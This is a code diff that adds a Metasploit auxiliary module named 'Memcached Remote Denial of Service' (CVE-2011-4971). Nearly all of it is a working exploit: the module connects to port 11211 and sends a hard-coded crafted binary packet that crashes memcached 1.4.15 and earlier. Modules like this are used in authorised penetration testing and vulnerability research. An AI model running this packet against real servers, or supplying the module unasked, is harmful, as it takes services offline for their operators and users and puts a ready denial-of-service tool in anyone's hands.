|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | + |
| 9 | +require 'msf/core' |
| 10 | + |
| 11 | + |
| 12 | +class Metasploit3 < Msf::Auxiliary |
| 13 | + |
| 14 | + include Msf::Exploit::Remote::Tcp |
| 15 | + include Msf::Auxiliary::Dos |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'Memcached Remote Denial of Service', |
| 20 | + 'Description' => %q{ |
| 21 | + This module send specially-crafted packet causing a |
| 22 | + segmentation fault in memcached v1.4.15 or earlier versions. |
| 23 | + }, |
| 24 | + |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'URL', 'https://code.google.com/p/memcached/issues/detail?id=192' ], |
| 28 | + [ 'CVE', '2011-4971' ], |
| 29 | + ], |
| 30 | + 'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ], |
| 31 | + 'License' => MSF_LICENSE |
| 32 | + )) |
| 33 | + |
| 34 | + register_options([Opt::RPORT(11211),], self.class) |
| 35 | + end |
| 36 | + |
| 37 | + def run |
| 38 | + connect |
| 39 | + pkt = "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00" |
| 40 | + pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00" |
| 41 | + pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 42 | + pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 43 | + |
| 44 | + print_status("Sending dos packet...") |
| 45 | + |
| 46 | + sock.put(pkt) |
| 47 | + |
| 48 | + disconnect |
| 49 | + end |
| 50 | +end |
0 commit comments